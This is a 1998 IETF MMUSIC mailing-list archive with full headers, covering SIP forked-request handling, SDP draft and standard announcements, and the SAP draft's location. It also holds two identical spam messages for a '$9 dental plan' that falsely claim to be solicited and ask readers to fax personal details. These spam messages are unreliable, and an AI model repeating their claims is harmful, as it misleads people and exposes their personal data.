	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12486
	for <confctrl@zephyr.isi.edu>; Sun, 29 Mar 1998 14:31:14 -0800 (PST)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22107;
	Sun, 29 Mar 1998 14:31:08 -0800 (PST)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id AAA02812; Mon, 30 Mar 1998 00:25:46 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565D6.007B9A9E ; Mon, 30 Mar 1998 00:30:05 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: huitema@bellcore.com, schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Message-ID: <422565D6.00053306.00@il4.vocaltec.co.il>
Date: Sun, 29 Mar 1998 04:00:49 +0200
Subject: Re: SIP: Forked request
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> [.... forked requests with multiple OK responses....]
>It seems we might need an ACK to indicate to the later callee what
>happened (I assume the proxy already relayed the first response back
>to the caller).

Are you saying that a single unicast INVITE might result in multiple
returned OK responses and that the caller should ACK each one? I always
assumed that a client which sends a unicast INVITE request will only
receive at most a single unicast OK response, even if the INVITE gets
forked around creation by some proxy.  Is this mistaken?

Or are you saying that the proxy should fork ACKs just like it forked
INVITEs?  This might lead to trouble if the OKs contain media descriptions
but don't get back to the caller ( but it could be managed by a clever
proxy which alters media descriptions on the fly and puts in place an RTP
mixer or a unicast/multicast translator).

Surely what happens in a forked request must be a matter of local
preference -- what the callee wants his/her proxy to do. Each of the
solutions offered so far is reasonable in certain circumstances, and
doesn't require the spec to be altered.

The only open protocol issue I see is if there needs to be some indication
in the INVITE message that this is a forked INVITE.  I think that this
might be nice for unicast INVITEs, but I'm not sure that it's necessary.

Scott





mjh@ISI.EDU on 03/27/98 09:02:14 PM

To:   huitema@bellcore.com
cc:   schulzrinne@cs.columbia.edu, confctrl@ISI.EDU (bcc: Scott Petrack)
Subject:  Re: SIP: Forked request





>On Mar 27, 12:46pm, Henning Schulzrinne wrote:
>> Subject: SIP: Forked request
>> Problem: What happens if a forked request produces multiple
>> 2xx responses if several people ``pick up the phone''?
>>
>> Suggested resolution:  Proxy should send a BYE to the late comers.
>
>That is dirty.  There should be a way to solve it through by forking
>multiple "probes", then following on with a real invite.
It seems we might need an ACK to indicate to the later callee what
happened (I assume the proxy already relayed the first response back
to the caller).  Under these circumstances, it should probably be up
to the callees to decide the correct course of action, and handle this
using call-transfer functionality if necessary.
Cheers,
     Mark






From confctrl-owner  Sun Mar 29 23:30:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA19927
	for confctrl-outgoing; Sun, 29 Mar 1998 23:30:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA19922
	for <confctrl@zephyr.isi.edu>; Sun, 29 Mar 1998 23:30:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA04927;
	Sun, 29 Mar 1998 23:30:01 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Mar 30 02:29:39 EST 1998
Received: (from jdrosen@localhost)
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) id CAA23449;
	Mon, 30 Mar 1998 02:29:30 -0500 (EST)
Date: Mon, 30 Mar 1998 02:29:30 -0500 (EST)
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Message-Id: <199803300729.CAA23449@zubin.dnrc.bell-labs.com>
To: Scott_Petrack@vocaltec.com, mjh@ISI.EDU
Subject: Re: SIP: Forked request
Cc: confctrl@ISI.EDU, huitema@bellcore.com, schulzrinne@cs.columbia.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
>> [.... forked requests with multiple OK responses....]
>>It seems we might need an ACK to indicate to the later callee what
>>happened (I assume the proxy already relayed the first response back
>>to the caller).
>
>Or are you saying that the proxy should fork ACKs just like it forked
>INVITEs?  This might lead to trouble if the OKs contain media descriptions
>but don't get back to the caller ( but it could be managed by a clever
>proxy which alters media descriptions on the fly and puts in place an RTP
>mixer or a unicast/multicast translator).

In this case, I don't think the ACK is really acknowledging the call;
there would need to be some kind of header field which says "Oops;
forget about it, the line has already been picked up". This pretty
much seems like a BYE, though, not an ACK.

An issue with sending a BYE from the proxy is that later on down the
road, the BYE may also fork and arrive at the original callee too. Thus, both 
recipients will think the call has been terminated.

One possible fix would be that recipients always include a Location:
header in their response indicating their SIP URL. When the duplicate
response arrives at a forking proxy, it sends a BYE to the SIP URL in
the Location field, not the SIP URL in the To: field. This should (will
it?) make the BYE be directed to the specific party who sent the second
ACK.

Clearly the *natural* behavior would be to create a multiparty call,
but I just don't see any reasonable way to accomplish this.

Another possible mode of operation is for the forking proxy not to forward
back a 200 OK as soon as it gets one. Instead, it can wait some amount
of time, and if it gets multiple 200 OK's, it can return a 3XX Multiple
Choices to the caller listing those choices. It can then send a BYE 
to the callee's canceling the original call.

I do agree with Scott that their should be multiple possible
behaviors at a proxy, allowing for an administrator to define new
services. However, we need to be sure that SIP has everything it
needs to be able to accomplish a reasonable behavior in this scenario.

-Jonathan R.

>
>Surely what happens in a forked request must be a matter of local
>preference -- what the callee wants his/her proxy to do. Each of the
>solutions offered so far is reasonable in certain circumstances, and
>doesn't require the spec to be altered.
>
>The only open protocol issue I see is if there needs to be some indication
>in the INVITE message that this is a forked INVITE.  I think that this
>might be nice for unicast INVITEs, but I'm not sure that it's necessary.
>
>Scott

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen


From confctrl-owner  Tue Mar 31 09:38:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA05499
	for confctrl-outgoing; Tue, 31 Mar 1998 09:38:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05484
	for <confctrl@zephyr.isi.edu>; Tue, 31 Mar 1998 09:38:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA00594;
	Tue, 31 Mar 1998 09:38:02 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Tue Mar 31 12:37:10 EST 1998
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id MAA28610;
	Tue, 31 Mar 1998 12:36:59 -0500 (EST)
Message-ID: <35212992.40230145@dnrc.bell-labs.com>
Date: Tue, 31 Mar 1998 12:36:18 -0500
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Reply-To: igors@bell-labs.com
Organization: High Speed Networks Research, Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Scott_Petrack@vocaltec.com, mjh@ISI.EDU, confctrl@ISI.EDU,
        huitema@bellcore.com, schulzrinne@cs.columbia.edu
Subject: Re: SIP: Forked request
References: <199803300729.CAA23449@zubin.dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> It seems we might need an ACK to indicate to the later callee what
> happened (I assume the proxy already relayed the first response back
> to the caller).  Under these circumstances, it should probably be up
> to the callees to decide the correct course of action, and handle this
> using call-transfer functionality if necessary.

Jonathan Rosenberg wrote:
> 
> [....]
> 
> Clearly the *natural* behavior would be to create a multiparty call,
> but I just don't see any reasonable way to accomplish this.

I feel that the caller (not callee) should decide if he/she wants to
talk to a single person or to everyone who answered the call - only the
caller knows the intention of the call, after all. To allow this, the
proxy should propagate all 200 OK responses back to the caller and then
the caller decides whether to ACK those responses or to send a BYE. It
doesn't seem to be a very big change to caller software since it needs
to handle duplicate responses anyway (e.g., duplicate UDP packets). It
would also be nice if the caller could decide to which of the callees to
talk. I realize that all this looks very much like a multicast response
to a unicast request so maybe we could borrow some details of multicast
functionality.

However, I agree that creating a multiparty call is the natural behavior
in most cases. One option here is for the proxy to send a BYE with an
Also field set to the address of the original caller to all callees
after the first one. This way, the later callee sends an INVITE back to
the caller and, since INVITES to ongoing calls are accepted silently,
joins the call without even notifying the caller. The proxy could also
be configurable to recognize some local addresses (e.g., sysadmin) as
"reply-first".

> 
> Another possible mode of operation is for the forking proxy not to forward
> back a 200 OK as soon as it gets one. Instead, it can wait some amount
> of time, and if it gets multiple 200 OK's, it can return a 3XX Multiple
> Choices to the caller listing those choices. It can then send a BYE
> to the callee's canceling the original call.
> 

This sounds like a natural thing to do. And if the proxy gets an
additional 200 OK after it timed out and forwarded the first 200 OK to
the caller, it could still forward the second 200 OK and let the caller
decide what to do.

---
Igor Slepchin

From confctrl-owner  Fri Apr  3 05:56:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA15027
	for confctrl-outgoing; Fri, 3 Apr 1998 05:56:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA15022
	for <confctrl@zephyr.isi.edu>; Fri, 3 Apr 1998 05:56:19 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA06306
	for <confctrl@isi.edu>; Fri, 3 Apr 1998 05:56:18 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.5/8.8.7a) with ESMTP id IAA29597;
	Fri, 3 Apr 1998 08:55:42 -0500 (EST)
Message-Id: <199804031355.IAA29597@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-07.txt,.ps
Date: Fri, 03 Apr 1998 08:55:42 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: V. Jacobson, M. Handley
	Filename	: draft-ietf-mmusic-sdp-07.txt,.ps
	Pages		: 42
	Date		: 03-Apr-98
	
This document defines the Session Description  Protocol,  SDP. SDP  is  intended for  describing multimedia sessions for the purposes of  session announcement, session invitation and other forms of multimedia session initiation.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-07.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-07.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-07.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980403083452.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-07.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-07.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980403083452.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Apr  3 20:56:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12154
	for confctrl-outgoing; Fri, 3 Apr 1998 20:56:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12149
	for <confctrl@zephyr.isi.edu>; Fri, 3 Apr 1998 20:56:41 -0800 (PST)
Received: from freya.cs.umass.edu (freya.cs.umass.edu [128.119.40.195])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA26040
	for <confctrl@isi.edu>; Fri, 3 Apr 1998 20:56:37 -0800 (PST)
Received: from opine.cs.umass.edu (opine.cs.umass.edu [128.119.41.246])
	by freya.cs.umass.edu (8.8.7/8.8.7) with SMTP id XAA20084
	for <confctrl@isi.edu>; Fri, 3 Apr 1998 23:56:27 -0500
Message-ID: <3525BD7A.1CFB@cs.umass.edu>
Date: Fri, 03 Apr 1998 23:56:26 -0500
From: Lewis McCarthy <lmccarth@cs.umass.edu>
Organization: UMass-Amherst Theoretical Computer Science Group, <http://www.cs.umass.edu/~thtml/>
X-Mailer: Mozilla 3.01Gold (X11; U; OSF1 V4.0 alpha)
MIME-Version: 1.0
To: MMUSIC List <confctrl@ISI.EDU>
Subject: Whither the main SAP draft?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I've been examining the SAP Security draft (-04), which understandably
refers to the main SAP draft in several places. However 
draft-ietf-mmusic-sap-00.txt has been deleted from ds.internic.net and
there doesn't seem to be a draft-ietf-mmusic-sap-0x for any x>0.
Where should I look for a copy of the SAP spec?

Thanks
-- 
Lewis McCarthy    http://www.cs.umass.edu/~lmccarth/

From confctrl-owner  Fri Apr  3 23:45:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA14294
	for confctrl-outgoing; Fri, 3 Apr 1998 23:45:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA14289
	for <confctrl@zephyr.isi.edu>; Fri, 3 Apr 1998 23:45:49 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA00120
	for <confctrl@isi.edu>; Fri, 3 Apr 1998 23:45:48 -0800 (PST)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA03759; Fri, 3 Apr 98 23:45:02 PST
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id XAA01714;
	Fri, 3 Apr 1998 23:45:01 -0800 (PST)
Date: Fri, 3 Apr 1998 23:45:01 -0800 (PST)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199804040745.XAA01714@liszt.cs.caltech.edu>
To: confctrl@ISI.EDU, lmccarth@cs.umass.edu
Subject: Re: Whither the main SAP draft?
In-Reply-To: <3525BD7A.1CFB@cs.umass.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Lewis McCarthy <lmccarth@cs.umass.edu> wrote:
>
>I've been examining the SAP Security draft (-04), which understandably
>refers to the main SAP draft in several places. However 
>draft-ietf-mmusic-sap-00.txt has been deleted from ds.internic.net and
>there doesn't seem to be a draft-ietf-mmusic-sap-0x for any x>0.
>Where should I look for a copy of the SAP spec?

You can find the expired draft in the confctrl archives:

    ftp://ftp.isi.edu/confctrl/docs

We will also be merging the base sap spec and the security draft
sometime in the near future, then resubmitting the unified i-d.  
It should appear in the official places shortly.

E.

From confctrl-owner  Sat Apr  4 03:18:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA16391
	for confctrl-outgoing; Sat, 4 Apr 1998 03:18:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA16386
	for <confctrl@zephyr.isi.edu>; Sat, 4 Apr 1998 03:18:46 -0800 (PST)
Received: from aohakobe.ipc.chiba-u.ac.jp (aohakobe.ipc.chiba-u.ac.jp [133.82.241.137])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA10789
	for <confctrl@ISI.EDU>; Sat, 4 Apr 1998 03:18:43 -0800 (PST)
Received: from aohakobe.ipc.chiba-u.ac.jp (localhost [127.0.0.1]) by aohakobe.ipc.chiba-u.ac.jp (8.8.8/3.4Wbeta3 (-: 95041617) with ESMTP id UAA20546 for <confctrl@ISI.EDU>; Sat, 4 Apr 1998 20:18:40 +0900 (JST)
Message-Id: <199804041118.UAA20546@aohakobe.ipc.chiba-u.ac.jp>
To: MMUSIC List <confctrl@ISI.EDU>
Subject: Re: Whither the main SAP draft? 
In-reply-to: Your message of "Fri, 03 Apr 1998 23:56:26 EST."
             <3525BD7A.1CFB@cs.umass.edu> 
Date: Sat, 04 Apr 1998 20:18:38 +0900
From: Yozo Toda <yozo@aohakobe.ipc.chiba-u.ac.jp>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> draft-ietf-mmusic-sap-00.txt has been deleted from ds.internic.net and

I found this file at <ftp://ftp.isi.edu/confctrl/docs/>.

-- yozo.

From confctrl-owner  Sun Apr  5 04:51:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA02942
	for confctrl-outgoing; Sun, 5 Apr 1998 04:51:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA02931
	for <confctrl@zephyr.isi.edu>; Sun, 5 Apr 1998 04:51:24 -0700 (PDT)
Received: from dental.mail.dental.net (houasc5-249.flash.net [209.30.64.249])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA12284;
	Sun, 5 Apr 1998 04:51:19 -0700 (PDT)
Date: Sun, 5 Apr 1998 04:51:19 -0700 (PDT)
From: dental@cheerful.com
Message-Id: <199804051151.EAA12284@tnt.isi.edu>
Subject: $9 dental, vision & prescription drugs plan
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

****************************************************************
This is not unsolicited email.
Your email address was routed to our "auto send" program stating 
that you wish to receive information about our dental, vision & 
prescription drug program. If your email address was referred to 
our "auto send" in error, please type "REMOVE" in the subject 
line and the "auto send" will remove your email address.
****************************************************************


******* DENTAL PLAN

$9 per month for a single person
$15 per month for entire household, (everyone at your house)

**No waiting period, No limit on visits or services, Braces 
included, Cosmetic dentistry included, specialist included, 
pre-existing conditions are covered, No deductible, No age limit, 
No claim forms, You can change dentist whenever you want.

******* VISION CARE

Free with $9/$15 dental plan

**Over 12,000 optical providers nationwide, save up to 60%, save 
up to 60% on contact lenses, save up to 30% on eye exams and 
surgery, save up to 50% on all non-prescription sunglasses, 30 
day unconditional money back guarantee, only national plan 
endorsed by the Opticians Association of America.

******* PRESCRIPTION DRUGS

Free with $9/$15 dental plan

**Over 35,000 retail pharmacy locations nationwide including most 
chain pharmacies and independent pharmacies, save up to 50% on 
prescription drugs, all prescription drugs are covered both at 
the retail pharmacy and by mail order.

If you want to sign up for the dental program just follow the 
directions below. 

FAX the following to DENTAL PLAN. 
The fax number is 1-713-266-0390.

DENTAL PLAN
Name
Address
City, State, Zip code
Day Phone #
Night Phone #
Fax Phone #
Email address

We are currently needing brokers for the $9/$15 Dental Plan. If 
you or someone you know is looking for an additional income 
PLEASE LET US KNOW when you fax the above information. The Dental 
Broker program has a nice up front pay cycle and a very good 
residual for as long as the person is in the dental plan. And 
there is no license required to be a broker.

So let us know about the dental and if you know of someone 
wanting to be a broker. Tell them to contact us by faxing the 
same information.

Thank you again for your interest.

Cliff


From confctrl-owner  Sun Apr  5 04:51:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA02977
	for confctrl-outgoing; Sun, 5 Apr 1998 04:51:54 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA02961;
	Sun, 5 Apr 1998 04:51:51 -0700 (PDT)
Received: from dental.mail.dental.net (houasc5-249.flash.net [209.30.64.249])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id EAA02136;
	Sun, 5 Apr 1998 04:51:19 -0700 (PDT)
Date: Sun, 5 Apr 1998 04:51:19 -0700 (PDT)
From: dental@cheerful.com
Message-Id: <199804051151.EAA02136@venera.isi.edu>
Subject: $9 dental, vision & prescription drugs plan
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

****************************************************************
This is not unsolicited email.
Your email address was routed to our "auto send" program stating 
that you wish to receive information about our dental, vision & 
prescription drug program. If your email address was referred to 
our "auto send" in error, please type "REMOVE" in the subject 
line and the "auto send" will remove your email address.
****************************************************************


******* DENTAL PLAN

$9 per month for a single person
$15 per month for entire household, (everyone at your house)

**No waiting period, No limit on visits or services, Braces 
included, Cosmetic dentistry included, specialist included, 
pre-existing conditions are covered, No deductible, No age limit, 
No claim forms, You can change dentist whenever you want.

******* VISION CARE

Free with $9/$15 dental plan

**Over 12,000 optical providers nationwide, save up to 60%, save 
up to 60% on contact lenses, save up to 30% on eye exams and 
surgery, save up to 50% on all non-prescription sunglasses, 30 
day unconditional money back guarantee, only national plan 
endorsed by the Opticians Association of America.

******* PRESCRIPTION DRUGS

Free with $9/$15 dental plan

**Over 35,000 retail pharmacy locations nationwide including most 
chain pharmacies and independent pharmacies, save up to 50% on 
prescription drugs, all prescription drugs are covered both at 
the retail pharmacy and by mail order.

If you want to sign up for the dental program just follow the 
directions below. 

FAX the following to DENTAL PLAN. 
The fax number is 1-713-266-0390.

DENTAL PLAN
Name
Address
City, State, Zip code
Day Phone #
Night Phone #
Fax Phone #
Email address

We are currently needing brokers for the $9/$15 Dental Plan. If 
you or someone you know is looking for an additional income 
PLEASE LET US KNOW when you fax the above information. The Dental 
Broker program has a nice up front pay cycle and a very good 
residual for as long as the person is in the dental plan. And 
there is no license required to be a broker.

So let us know about the dental and if you know of someone 
wanting to be a broker. Tell them to contact us by faxing the 
same information.

Thank you again for your interest.

Cliff


From confctrl-owner  Mon Apr  6 03:56:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA26428
	for confctrl-outgoing; Mon, 6 Apr 1998 03:56:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA26423
	for <confctrl@zephyr.isi.edu>; Mon, 6 Apr 1998 03:56:39 -0700 (PDT)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA18454;
	Mon, 6 Apr 1998 03:56:34 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.5/8.8.7a) with ESMTP id GAA24946;
	Mon, 6 Apr 1998 06:56:00 -0400 (EDT)
Message-Id: <199804061056.GAA24946@ns.ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ns.ietf.org>
Subject: Protocol Action: SDP: Session Description Protocol to Proposed
	 Standard
Date: Mon, 06 Apr 1998 06:56:00 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft SDP: Session Description
Protocol <draft-ietf-mmusic-sdp-07.txt,.ps> as a Proposed Standard.  This
document is the product of the Multiparty Multimedia Session Control
Working Group.  The IESG contact persons are Allyn Romanow and Scott
Bradner.


Technical Summary


Session Description Protocol (SDP) describes a format for describing
real-time multimedia sessions. SDP is widely used on the Internet
multicast backbone (Mbone) in a session directory tool which advertises
multimedia conferences and information necessary for participation in
the conference. SDP is intended to be used by different transport
protocols, such as Session Announcement Protocol (SAP), Session
Initiation Protocol (SIP), Real-Time Streaming Protocol (RTSP),
electronic mail using MIME extensions, and the Hypertext Transport
Protocol.


Working Group Summary

SDP has evolved in mmusic and in the user community over several years.
It now widely used and there are no remaining points of contention.

Protocol Quality

This document was reviewed for the IETF by Allyn Romanow.

The following implementations exist:

        UCL/ISI Session Directory tool sdr
        Cisco routers
        CDT mAnnouncer from Lulea University
        Precept Software's IP/TV Program Guide
        ICAST's Viewer and Guide
        the RTSP Reference Implementation
        RealNetwork's RealMedia SDK
        W3C's Jigsaw
        IBM's RTSP Toolkit
        GMD Fokus's SIPD
        Columbia University's jsipd
        UCL's Java Internet Phone
        Mediatrix's Audiotric Phone Adapto



From confctrl-owner  Mon Apr  6 09:03:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02130
	for confctrl-outgoing; Mon, 6 Apr 1998 09:03:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02123
	for <confctrl@zephyr.isi.edu>; Mon, 6 Apr 1998 09:03:55 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA27779
	for <confctrl@ISI.EDU>; Mon, 6 Apr 1998 09:03:53 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA21234; Mon, 6 Apr 1998 12:03:51 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Re: Protocol Action: SDP: Session Description Protocol to Proposed Standard 
In-reply-to: Your message of "Mon, 06 Apr 1998 06:56:00 EDT."
             <199804061056.GAA24946@ns.ietf.org> 
Date: Mon, 06 Apr 1998 12:03:51 -0400
Message-ID: <21232.891878631@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>The IESG has approved the Internet-Draft SDP: Session Description
>Protocol <draft-ietf-mmusic-sdp-07.txt,.ps> as a Proposed Standard.  This
>document is the product of the Multiparty Multimedia Session Control
>Working Group.  The IESG contact persons are Allyn Romanow and Scott
>Bradner.

Just in case anyone is wondering why they didn't see the -07 draft
before today, this version was produced during the IETF last week as a
result of detailed discussion with the members of the IESG who had
raised issues with the -06 draft.  Approval had been dependant on them
signing off these final minor changes.

The changes that were required for final approval were:

 - allowing fully-qualified domain names in c= and o= fields so SDP
   could work in the presence of NATs.

 - changing the registration rules for (non-RTP) formats.  SDP format
   names will now be registered in the MIME-types namespace.  Hence
   registering a format to use in the SDP line:
     m=application 1234 udp wb
   would require a registration of the MIME content-type application/wb.

   This is an interesting change to the use of the MIME-types
   registration process, as wb (for example) has no appropriate file 
   format.  It remains to be seen how this is implemented in practice,
   but the relevant IESG members have agreed to this, and I agree with
   them that it is a good idea.

The one change I'd have liked to have made is removing the 1 Kbyte
size limit (which was intended to only apply to SAP, not to SDP in
other contexts).  However, I couldn't make any changes not explicitly
requested by the IESG without requiring another full IESG ballot,
which would have caused a whole new set of delays.

I propose that this change will be made when SDP moves to Draft
Standard, and so implementations would be advised to accept session
descriptions of arbitrary length (if they're conveyed by means other
than SAP), even though they're not strictly legal.

Cheers,
	Mark
 

From confctrl-owner  Tue Apr  7 14:57:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA00995
	for confctrl-outgoing; Tue, 7 Apr 1998 14:57:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00988
	for <confctrl@zephyr.isi.edu>; Tue, 7 Apr 1998 14:57:27 -0700 (PDT)
Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3])
